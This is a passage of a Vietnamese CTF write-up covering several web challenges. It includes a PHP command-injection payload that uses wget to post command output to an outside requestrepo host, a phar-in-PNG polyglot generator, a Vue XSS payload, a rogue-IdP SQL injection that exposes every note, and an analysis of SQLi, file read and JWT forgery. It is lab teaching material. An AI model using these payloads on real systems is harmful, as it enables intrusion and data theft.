    $url = <span class="hljs-string">'http://localhost:80/info'</span>;

    $headers = get_headers($url);

    $responseCode = intval(substr($headers[<span class="hljs-number">0</span>], <span class="hljs-number">9</span>, <span class="hljs-number">3</span>));

    <span class="hljs-keyword">if</span> ($responseCode === <span class="hljs-number">200</span>) {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"[+] Daijobu\n"</span>;
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"[-] Not Daijobu :(\n"</span>;
    }
}
</code></pre>
<p>Hàm truy cập đến path info dùng để hiển thị <code>phpinfo()</code> và lấy status code trả về thông qua header. Nếu 200 thì coi là ổn, khác thì bị coi là không ổn</p>
<p>\=&gt; Method backup và import có khả năng command injection nếu như control được giá trị trong file config. Còn với option -f thì không chắc vì nó cũng bị kiểm tra bằng <code>file_exists</code> nên không thể command injection sau filename được.</p>
<h3 id="heading-khai-thac">Khai thác</h3>
<h4 id="heading-command-injection-in-cliphp">Command Injection in cli.php</h4>
<p>Mình mất một lúc để nhận ra có thể truy cập đến cli.php thông qua website /cli/cli.php. Nên mình đang nghĩ đến command injection vào các method, nhưng làm thế nào để bypass sử dụng trên command line?</p>
<p>Đang tìm cách thì teammates của mình phát hiện ra tại php.ini giá trị <code>register_argc_argv</code> đã bị comment: Giá trị này được mặc định là off, nếu như config này được kích hoạt thì mình hoàn toàn có thể truyền vào giá trị của 2 biến này thông qua dấu <code>+</code> thay vì dùng dấu <code>&amp;</code> để ngăn cách.</p>
<p><img src="https://hackmd.io/_uploads/HkoZro1EC.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SkXyOoJN0.png" alt="image" /></p>
<p>Vậy thì mình có thể lợi dụng việc này để truyền giá trị vào các tham số <code>-m</code> và <code>-c</code>, thực thi file <code>cli.php</code> như đang ở command line, mình truy cập thử đến mode healthcheck thì thấy file hoàn toàn có thể thực thi được:</p>
<p><img src="https://hackmd.io/_uploads/HyCfLjyE0.png" alt="image" /></p>
<p>Mình quyết định sẽ lấy mode backup làm sink để RCE, với việc sử dụng DOMXPath query lấy dự liệu từ file xml, mình tạm thời bỏ qua việc upload file lên như nào mà craft một file xml để command injection vào username:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">config</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">db</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"username"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">'|| wget --post-data "$(id)" -O- ut8mgeo8.requestrepo.com ||'</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">db</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"password"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"root"</span>/&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">db</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"database"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">""</span>/&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">config</span>&gt;</span>
</code></pre>
<p>Để tránh câu lệnh bị thực thi khi echo vào thì mình base64 trước rồi truyền vào <code>a.xml</code></p>
<p><img src="https://hackmd.io/_uploads/HJFQdoJE0.png" alt="image" /></p>
<p>Thử truyền vào method backup và tên file config là: <code>/tmp/a.xml</code></p>
<p><img src="https://hackmd.io/_uploads/SybD_oJ40.png" alt="image" /></p>
<p>Và mình thấy kết quả trả về requestrepo, đây là sink đúng để có thể RCE:</p>
<p><img src="https://hackmd.io/_uploads/BJmt_i1VA.png" alt="image" /></p>
<p>Oke vậy là đã có chỗ để RCE, vấn đề còn lại là upload file xml này lên như nào với cái rule</p>
<h3 id="heading-race-condition">Race Condition??</h3>
<p>Như mình đã nói ở trên, có 2 thứ mà mình thấy mình chưa sử dụng được trong challenge này, thứ nhất là trang phpinfo, và thứ 2 là cái print_r hiện thông tin của file. Khi PHP script nhận được một file request, file đó sẽ được lưu tạm thời trong thư mục /tmp và có thể tùy chỉnh trong php.ini. Trong trường hợp này sẽ là /tmp/php+6 ký tự [a-zA-Z0-9]. File trong thư mục tmp sẽ biến mất sau khi có sự xuất hiện của hàm <code>move_uploaded_file</code> hoặc khi PHP script đó kết thúc. Nghe ná ná giống với case LFI2RCE với phpinfo nên mình và teammate triển luôn theo hướng này. Bọn mình dự định sẽ upload file sau đó vào phpinfo để xem đường dẫn file tmp, rồi sử dụng mode backup để command injection. Nhưng sau khi thử rất nhiều lần không được, mình đã đi tìm hiểu kĩ hơn và nhận ra mình đã sai và chưa hiểu bản chất: Lỗi LFI2RCE với phpinfo xảy ra khi mình có thể upload file tại trang phpinfo luôn, tức là có thể sử dụng POST request. PHP sẽ lưu các file được upload lên thư mục temp đối với cả các PHP script không hề hỗ trợ xử lý file trong nó, còn ở đây mình chỉ có thể GET /info, nên cách này coi như tiêu tùng. Ref: <a target="_blank" href="http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/">http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/</a> Không từ bỏ việc race, mình quyết định đánh vào khả năng print_r mảng về thông tin file khi upload file tại <code>/addProduct</code>, nhưng việc này cũng bất khả thi vì file đã được xử xong xuôi hết r mới có response trả về cho mình, mình đã tốn 2 ngày để thử theo phương pháp này và không thu được kết quả gì, vậy là challenge đã không thể solve kịp trước khi cuộc thi kết thúc :((</p>
<h3 id="heading-the-right-path-phar-deserialization">The right path: Phar Deserialization</h3>
<p>Mình cứ mải đi race mà không nghĩ ra DOMDocument hỗ trợ cả file phar, tương tự như trong case <a target="_blank" href="https://blog.efiens.com/post/doublevkay/xxe-to-phar-deserialization/">XXE to Phar Deserialize</a> khi DOMDocument-&gt;loadXML có thể truyền vào phar protocol thì ở đây, DOMDocument-&gt;load cũng có thể truyền vào phar protocol -&gt; +1 kiến thức.</p>
<p>Thiên thời địa lợi nhân hòa, config phar.readonly cũng được tắt =&gt; có thể deser file phar:</p>
<p><img src="https://hackmd.io/_uploads/ByzNl3kNR.png" alt="image" /></p>
<p>Nếu như đã hỗ trợ deser phar file, thì mình chỉ cần để file xml của mình vào file phar và nhét vào 1 file ảnh valid là được. Về cách gen file phar như nào thì mình sẽ làm tương tự như chall upload phar file trong root me. Ref: <a target="_blank" href="https://thanhlocpanda.wordpress.com/2023/08/07/php-phar-jpeg-polyglot-javascript-jpeg-polyglot-root-me-part-ii/">https://thanhlocpanda.wordpress.com/2023/08/07/php-phar-jpeg-polyglot-javascript-jpeg-polyglot-root-me-part-ii/</a> (pass: thanhlocpanda)</p>
<p>Đường đi nước bước đã đủ, mình tổng hợp lại attack chain như sau:</p>
<ul>
<li><p>Gen file ảnh càng ngắn càng tốt</p>
</li>
<li><p>Lấy hex của file đó, đắp vào file phar, chèn xml vào file phar và đổi extension về ảnh</p>
</li>
<li><p>Upload file ảnh, lấy đường dẫn ảnh</p>
</li>
<li><p>Gọi đến cli.php, sử dụng <code>phar:// protocol</code> gọi đến file xml nằm trong file phar =&gt; RCE</p>
</li>
</ul>
<h3 id="heading-final-exploit">Final Exploit</h3>
<p>Mình gen ảnh 1 pixel cho nó bé bằng đoạn code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> PIL <span class="hljs-keyword">import</span> Image

img = Image.new(<span class="hljs-string">"RGB"</span>, (<span class="hljs-number">1</span>,<span class="hljs-number">1</span>), (<span class="hljs-number">255</span>,<span class="hljs-number">255</span>,<span class="hljs-number">255</span>))
img.save(<span class="hljs-string">"gen.png"</span>)
</code></pre>
<p>Mình lấy hex bằng cyberchef và được chuỗi:</p>
<pre><code class="lang-plaintext">\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90\x77\x53\xde\x00\x00\x00\x0c\x49\x44\x41\x54\x78\x9c\x63\xf8\xff\xff\x3f\x00\x05\xfe\x02\xfe\x0d\xef\x46\xb8\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82
</code></pre>
<p>Đưa chuỗi vào scrip gen file phar, mình nhét file a.xml với payload đọc flag bằng <code>/readflag</code> vào trong file phar, rồi đổi tên file thành phar.png:</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
    $png = <span class="hljs-string">"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90\x77\x53\xde\x00\x00\x00\x0c\x49\x44\x41\x54\x78\x9c\x63\xf8\xff\xff\x3f\x00\x05\xfe\x02\xfe\x0d\xef\x46\xb8\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82"</span>;
    $xml_data = <span class="hljs-string">"&lt;config&gt;&lt;db name=\"username\" value='|| wget --post-data \"$(/readflag)\" -O- ut8mgeo8.requestrepo.com ||'/&gt;&lt;db name=\"password\" value=\"root\"/&gt;&lt;db name=\"database\" value=\"\"/&gt;&lt;/config&gt;"</span>;
    $phar = <span class="hljs-keyword">new</span> Phar(<span class="hljs-string">"phar.phar"</span>);
    $phar-&gt;startBuffering();
    $phar-&gt;addFromString(<span class="hljs-string">"a.xml"</span>, $xml_data);
    $phar-&gt;setStub($png.<span class="hljs-string">"__HALT_COMPILER(); ?&gt;"</span>);
    $phar-&gt;stopBuffering();

    rename(<span class="hljs-string">'phar.phar'</span>, <span class="hljs-string">'phar.png'</span>);
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Upload file phar lên server thành công:</p>
<p><img src="https://hackmd.io/_uploads/B1NAW3J4C.png" alt="image" /></p>
<p>Vào list product để lấy tên ảnh, của mình là <code>/uploads/3e10700de9433bdb.png</code></p>
<p>Request đến cli.php để lụm flag thôi:</p>
<pre><code class="lang-bash">GET /cli/cli.php?-m+backup+-c+phar:///www/uploads/3e10700de9433bdb.png/a.xml
</code></pre>
<p><img src="https://hackmd.io/_uploads/Sk35G3yNC.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rkSiM3yEC.png" alt="image" /></p>
<h2 id="heading-sos-or-sso">SOS or SSO?</h2>
<p><strong><em>credit: Quyền</em></strong></p>
<p>Bài này đội mình không solve được nên mình write up lại theo htb</p>
<h3 id="heading-tong-quan">Tổng quan</h3>
<p>Trang web có backend golang với 2 tính năng chính:</p>
<ul>
<li><p>Tạo note</p>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2Ff223d127-0709-40a8-af25-2377460ec609%2FUntitled.png?table=block&amp;id=a142e4a7-dd42-4210-8623-8dbc21836218&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1420&amp;userId=&amp;cache=v2" alt /></p>
</li>
<li><p>Login</p>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F0ecc4309-1fc3-4520-b268-b219d0ed115e%2FUntitled.png?table=block&amp;id=fb6ff859-3a23-4b5e-9dfb-20ed7101d452&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1340&amp;userId=&amp;cache=v2" alt /></p>
</li>
<li><p>Flag được đặt ở note “My Secret” cần truy cập với adminId</p>
</li>
</ul>
<h3 id="heading-lo-hong">Lỗ hổng</h3>
<ul>
<li><p><strong>XSS via VueJS dynamic components</strong></p>
<p>  Trong frontend/src/views/EditorView.vue chứa code rendering rich-text</p>
<pre><code class="lang-javascript">    &lt;div <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">"editor"</span> v-<span class="hljs-keyword">if</span>=<span class="hljs-string">"note"</span>&gt;
      <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>{{ note.title }}<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span></span>
      <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"editor-text"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">component</span>
            <span class="hljs-attr">:is</span>=<span class="hljs-string">"item.type"</span>
            <span class="hljs-attr">v-bind</span>=<span class="hljs-string">"item.attr"</span>
            <span class="hljs-attr">v-for</span>=<span class="hljs-string">"(item, i) in noteContent"</span>
            <span class="hljs-attr">contenteditable</span>=<span class="hljs-string">"true"</span>
            <span class="hljs-attr">:ref</span>=<span class="hljs-string">"`item-${i}`"</span>
            @<span class="hljs-attr">focus</span>=<span class="hljs-string">"focused = i"</span>
            @<span class="hljs-attr">input</span>=<span class="hljs-string">"handleInput($event, i)"</span>
            <span class="hljs-attr">class</span>=<span class="hljs-string">"editor-element"</span>
            &gt;</span>{{ noteContent[i].content }}<span class="hljs-tag">&lt;/<span class="hljs-name">component</span>
          &gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
</code></pre>
<p>  noteContent array được duyệt dựa trên type key của mỗi object. V-bind được sử dụng để cung cấp các thuộc tính cho phần tử</p>
<p>  → Có thể khai thác lỗ hổng DOM XSS với item được lưu như sau:</p>
<pre><code class="lang-javascript">  {<span class="hljs-string">"type"</span>: <span class="hljs-string">"img"</span>, <span class="hljs-string">"attr"</span>: {<span class="hljs-string">"src"</span>: <span class="hljs-string">"x"</span>, <span class="hljs-string">"onerror"</span>: <span class="hljs-string">"alert(quyendeptrai)"</span>}}
</code></pre>
<p>  Thay đổi base64 được gửi khi lưu note và chèn payload để kích hoạt được XSS</p>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2Ff81178d5-6c73-4661-a1a8-2f3a0ce29289%2FUntitled.png?table=block&amp;id=f497dc38-8c12-4ad6-9ec2-5e0911927f2a&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1460&amp;userId=&amp;cache=v2" alt /></p>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2Fd3323639-ac11-4b06-960d-09c73f938adc%2FUntitled.png?table=block&amp;id=186503bb-4933-4928-adbf-7ae8d90fc592&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1250&amp;userId=&amp;cache=v2" alt /></p>
</li>
<li><p><strong>XSS to IdP config submission</strong></p>
<p>  XSS có thể được sử dụng để gửi cấu hình IdP do mình kiểm soát → Kiểm soát được luồng SSO khai thác SQLi để set role note vì flag được đặt trong secret note</p>
<pre><code class="lang-javascript">  fetch(
      <span class="hljs-string">'/api/support/faction/1/config'</span>,
      {
          <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
          <span class="hljs-attr">headers</span>: {
              <span class="hljs-string">'X-NOTES-CSRF-PROTECTION'</span>: <span class="hljs-string">'1'</span>
          },
          <span class="hljs-attr">body</span>: <span class="hljs-built_in">JSON</span>.stringify({<span class="hljs-attr">clientId</span>:<span class="hljs-string">'%s'</span>,<span class="hljs-attr">clientSecret</span>:<span class="hljs-string">'%s'</span>,<span class="hljs-attr">endpoint</span>:<span class="hljs-string">'%s'</span>})
      }
  )
</code></pre>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F932e8f05-ee79-4ca7-b1e5-9666011d2cbf%2FUntitled.png?table=block&amp;id=09e21102-811a-425d-8229-b06054803f37&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1460&amp;userId=&amp;cache=v2" alt /></p>
<p>  Và code xử lý trong backend/edpoints/support.go!CreateOIDCConfig()</p>
</li>
<li><p><strong>The SQLi</strong></p>
<p>  Trong backend/auth/sso.go có đoạn code xử lý như sau</p>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F3aa499d1-369c-4a04-8291-ef402e0ce34d%2FUntitled.png?table=block&amp;id=8efbb1c7-6356-4289-bc06-c56253c99dac&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1300&amp;userId=&amp;cache=v2" alt /></p>
<p>  Đoạn code xử lý yêu cầu thông tin người dùng từ IdP và sử dụng email được trả về để kiểm tra xem người dùng có bị cấm hay không, nếu không thì người dùng đã đăng ký hoặc đăng nhập</p>
<p>  Lỗ hổng xuất phát từ hàm GetBan trong <code>backenddatabase/queries.go</code></p>
<p>  <img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F65efc7ca-ddfe-4525-bfc3-0f57cf925b11%2FUntitled.png?table=block&amp;id=4758c4e4-06f2-48c5-a433-ebc5704d384e&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1300&amp;userId=&amp;cache=v2" alt /></p>
<p>  Ta có thể inject để set role cho tất cả note thành null như sau:</p>
<pre><code class="lang-go">  <span class="hljs-string">'tom@ca.htb'</span>; UPDATE <span class="hljs-string">`notes`</span> SET author_id=NULL,private=<span class="hljs-number">0</span> -- -
</code></pre>
</li>
</ul>
<h3 id="heading-khai-thac-1">Khai thác</h3>
<p>Với các lỗ hổng trên mình phải tạo IdP của riêng mình để payload SQLi khi email được trả về từ user-info endpoint</p>
<p>IdP cần tạo</p>
<pre><code class="lang-go">    r.GET(<span class="hljs-string">"/oidc/userinfo"</span>, <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(c *gin.Context)</span></span> {
        c.JSON(<span class="hljs-number">200</span>, gin.H{
            <span class="hljs-string">"email"</span>: <span class="hljs-string">"'tom@ca.htb'; UPDATE `notes` SET author_id=NULL,private=0 -- -"</span>,
        })
    })
</code></pre>
<p>Sau khi inject SSO sẽ tìm và load payload SQLi trong tham số email, công khai tất cả các note</p>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F24ab960a-4915-45f9-8db2-3bed586be4d7%2FUntitled.png?table=block&amp;id=b47a3b11-d0dc-4381-b61c-4f2a471ccf36&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=1460&amp;userId=&amp;cache=v2" alt /></p>
<h2 id="heading-omniwatch">OmniWatch</h2>
<p><strong><em>credit: Chương</em></strong></p>
<h3 id="heading-phan-tich">Phân tích</h3>
<h4 id="heading-web-app">Web app</h4>
<p>Được viết bằng Flask</p>
<ul>
<li><p>Routes (<code>/challenge/controller/application/blueprints/routes.py</code>)</p>
<ul>
<li><p><code>/home</code>: hiện thị ra các devices trong db</p>
<pre><code class="lang-python"><span class="hljs-meta">  @web.route("/home", methods=["GET"])</span>
<span class="hljs-meta">  @moderator_middleware</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">home</span>():</span>
      mysql_interface = MysqlInterface(current_app.config)
      devices = mysql_interface.fetch_all_devices()
      <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"home.html"</span>, user_data=request.user_data, nav_enabled=<span class="hljs-literal">True</span>, title=<span class="hljs-string">"OmniWatch - Home"</span>, devices=devices)
</code></pre>
</li>
<li><p><code>/device/&lt;id&gt;</code>:</p>
<pre><code class="lang-python"><span class="hljs-meta">  @web.route("/device/&lt;id&gt;", methods=["GET"])</span>
<span class="hljs-meta">  @moderator_middleware</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">device</span>(<span class="hljs-params">id</span>):</span>
      mysql_interface = MysqlInterface(current_app.config)
      device = mysql_interface.fetch_device(id)

      <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> device:
          <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/controller/home"</span>)

      <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"device.html"</span>, user_data=request.user_data, nav_enabled=<span class="hljs-literal">True</span>, title=<span class="hljs-string">f"OmniWatch - Device <span class="hljs-subst">{device[<span class="hljs-string">'device_id'</span>]}</span>"</span>, device=device)
</code></pre>
<p>  Lấy ra device theo id truyền vào, middleware moderator_middleware Tuy nhiên, tại đây xuất hiện lỗ hổng SQL Injection, theo file <code>challenge/controller/application/util/database.py</code>:</p>
<pre><code class="lang-python">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">fetch_device</span>(<span class="hljs-params">self, device_id</span>):</span>
      query = <span class="hljs-string">f"SELECT * FROM devices WHERE device_id = '<span class="hljs-subst">{device_id}</span>'"</span>
      device = self.query(query, multi=<span class="hljs-literal">True</span>)[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>]
      <span class="hljs-keyword">return</span> device
</code></pre>
<p>  <code>device_id</code> được truyền vào trực tiếp, có option là multi=True cho phép thực hiện nhiều câu truy vấn =&gt; <strong>Stack queries</strong></p>
</li>
<li><p><code>/firmware</code>:</p>
<pre><code class="lang-python"><span class="hljs-meta">  @web.route("/firmware", methods=["GET", "POST"])</span>
<span class="hljs-meta">  @moderator_middleware</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">firmware</span>():</span>
      <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"GET"</span>:
          patches_avaliable = [<span class="hljs-string">"CyberSpecter_v1.5_config.json"</span>, <span class="hljs-string">"StealthPatch_v2.0_config.json"</span>]
          <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"firmware.html"</span>, user_data=request.user_data, nav_enabled=<span class="hljs-literal">True</span>, title=<span class="hljs-string">"OmniWatch - Firmware"</span>, patches=patches_avaliable)

      <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"POST"</span>:
          patch = request.form.get(<span class="hljs-string">"patch"</span>)

          <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> patch:
              <span class="hljs-keyword">return</span> response(<span class="hljs-string">"Missing parameters"</span>), <span class="hljs-number">400</span>

          file_data = open(os.path.join(os.getcwd(), <span class="hljs-string">"application"</span>, <span class="hljs-string">"firmware"</span>, patch)).read()
          <span class="hljs-keyword">return</span> file_data, <span class="hljs-number">200</span>
</code></pre>
<p>  route này nhận param patch, thực hiện đọc file với: <code>os.path.join(os.getcwd(), "application", "firmware", patch)</code>, khi truyền vào là path tuyệt đối thì các thành phần như <code>application</code> hay <code>firmware</code> bị loại bỏ =&gt; lỗ hổng <strong>Arbitrary File Read</strong></p>
</li>
<li><p><code>/admin</code>: chứa flag =&gt; mục tiêu</p>
<pre><code class="lang-python"><span class="hljs-meta">  @web.route("/admin", methods=["GET"])</span>
<span class="hljs-meta">  @administrator_middleware</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">admin</span>():</span>
      flag = os.popen(<span class="hljs-string">"/readflag"</span>).read()
      <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"admin.html"</span>, user_data=request.user_data, nav_enabled=<span class="hljs-literal">True</span>, title=<span class="hljs-string">"OmniWatch - Admin"</span>, flag=flag)
</code></pre>
</li>
<li><p><code>/bot_running</code>: check trạng thái bot đang chạy hay không.</p>
<p>  Trong file <code>challenge/controller/run.py</code> dùng để chạy Flask app, có lên chức năng lên lịch để chạy con bot với 0,5 phút 1 lần:</p>
<pre><code class="lang-python">  schedule.every(<span class="hljs-number">0.5</span>).minutes.do(run_scheduled_bot, app.config)
</code></pre>
<p>  Đi vào file: <code>challenge/controller/application/util/bot.py</code>:</p>
<p>  ```python
  ...</p>
<p>  def run_scheduled_bot(config):
      try:
          bot_runner(config)
      except Exception:
          mysql_interface = MysqlInterface(config)
          mysql_interface.update_bot_status("not_running")</p>
</li>
</ul>
</li>
</ul>
<p>        def bot_runner(config):
            mysql_interface = MysqlInterface(config)
            mysql_interface.update_bot_status("running")</p>
<p>            chrome_options = Options()</p>
<p>            ...</p>
<p>            client = webdriver.Chrome(options=chrome_options)</p>
<p>            client.get("http://127.0.0.1:1337/controller/login")</p>
<p>            time.sleep(3)
            client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"])
            client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"])
            client.execute_script("document.getElementById('login-btn').click()")
            time.sleep(3)</p>
<p>            client.get(f"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}")</p>
<p>            time.sleep(10)</p>
<p>            mysql_interface.update_bot_status("not_running")
            client.quit()</p>
<pre><code>
        Như vậy con bot sẽ truy cập <span class="hljs-string">`/controller/login`</span> rồi sleep <span class="hljs-number">3</span>s, tiếp tục login bằng <span class="hljs-string">`username`</span> và <span class="hljs-string">`password`</span> và tiếp tục sleep <span class="hljs-number">3</span>s, cuối cùng là truy cập vào <span class="hljs-string">`/oracle/json/{str(random.randint(1, 15))}`</span> và sleep <span class="hljs-number">10</span>s

    * <span class="hljs-string">`/login`</span>: dùng để login.

* Các middleware:

    * <span class="hljs-string">`moderator_middleware`</span>: kiểm tra moderator

    * <span class="hljs-string">`administrator_middleware`</span>: kiểm tra admin


Cả <span class="hljs-number">2</span> đều sử dụng JWT để authen, JWT được verify bởi <span class="hljs-string">`secret`</span> key lấy từ <span class="hljs-string">`JWT_KEY = open("/app/jwt_secret.txt", "r").read()`</span>:

<span class="hljs-string">``</span><span class="hljs-string">`python
def verify_jwt(token, secret):
    try:
        payload = jwt.decode(token, secret, algorithms=["HS256"])
        return payload
    except Exception:
        return False</span>
</code></pre><p>Sau đó tiếp tục check bằng signature có trong db:</p>
<pre><code class="lang-python">signature = jwt_cookie.split(<span class="hljs-string">"."</span>)[<span class="hljs-number">-1</span>] saved_signature = mysql_interface.fetch_signature(user_id)
</code></pre>
<p>Query tới db:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">fetch_signature</span>(<span class="hljs-params">self, user_id</span>):</span>
    signature = self.query(<span class="hljs-string">"SELECT signature FROM signatures WHERE user_id = %s"</span>, (user_id,), one=<span class="hljs-literal">True</span>)
    <span class="hljs-keyword">return</span> signature[<span class="hljs-string">"signature"</span>] <span class="hljs-keyword">if</span> signature <span class="hljs-keyword">else</span> <span class="hljs-literal">False</span>
</code></pre>
<p>Như vậy ta có thể hình dung chain các bugs: XSS lấy JWT có quyền <code>moderator</code> từ bot =&gt; Lỗ hổng đọc file để lấy secret key để sign JWT lên <code>administrator</code> =&gt; SQLi Stack queries để update signature của JWT =&gt; Lấy flag.</p>
<h4 id="heading-zig">Zig</h4>
<p>Zig tạo service sử dụng port 4000, cung cấp route <code>/oracle/:mode/:deviceId</code>, theo file c<code>hallenge/oracle/src/main.zig</code>:</p>
<pre><code class="lang-javascript">...

fn oracle(req: *httpz.Request, <span class="hljs-attr">res</span>: *httpz.Response) !<span class="hljs-keyword">void</span> {
    <span class="hljs-keyword">var</span> gpa = std.heap.GeneralPurposeAllocator(.{}){};
    <span class="hljs-keyword">const</span> allocator = gpa.allocator();

    <span class="hljs-keyword">const</span> deviceId = req.param(<span class="hljs-string">"deviceId"</span>).?;
    <span class="hljs-keyword">const</span> mode = req.param(<span class="hljs-string">"mode"</span>).?;
    <span class="hljs-keyword">const</span> decodedDeviceId = <span class="hljs-keyword">try</span> std.Uri.unescapeString(allocator, deviceId);
    <span class="hljs-keyword">const</span> decodedMode = <span class="hljs-keyword">try</span> std.Uri.unescapeString(allocator, mode);

    <span class="hljs-keyword">const</span> latitude = <span class="hljs-keyword">try</span> randomCoordinates();
    <span class="hljs-keyword">const</span> longtitude = <span class="hljs-keyword">try</span> randomCoordinates();

    res.header(<span class="hljs-string">"X-Content-Type-Options"</span>, <span class="hljs-string">"nosniff"</span>);
    res.header(<span class="hljs-string">"X-XSS-Protection"</span>, <span class="hljs-string">"1; mode=block"</span>);
    res.header(<span class="hljs-string">"DeviceId"</span>, decodedDeviceId);

    <span class="hljs-keyword">if</span> (std.mem.eql(u8, decodedMode, <span class="hljs-string">"json"</span>)) {
        <span class="hljs-keyword">try</span> res.json(.{ .lat = latitude, .lon = longtitude }, .{});
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">const</span> htmlTemplate =
            \\&lt;!DOCTYPE html&gt;
            \\&lt;html&gt;
            \\    &lt;head&gt;
            \\        &lt;title&gt;Device Oracle API v2<span class="hljs-number">.6</span>&lt;/title&gt;
            \\    &lt;/head&gt;
            \\&lt;body&gt;
            \\    &lt;p&gt;Mode: {s}&lt;<span class="hljs-regexp">/p&gt;&lt;p&gt;Lat: {s}&lt;/</span>p&gt;<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lon: {s}<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span></span>
            \\&lt;/body&gt;
            \\&lt;/html&gt;
        ;

        res.body = <span class="hljs-keyword">try</span> std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
    }
}
</code></pre>
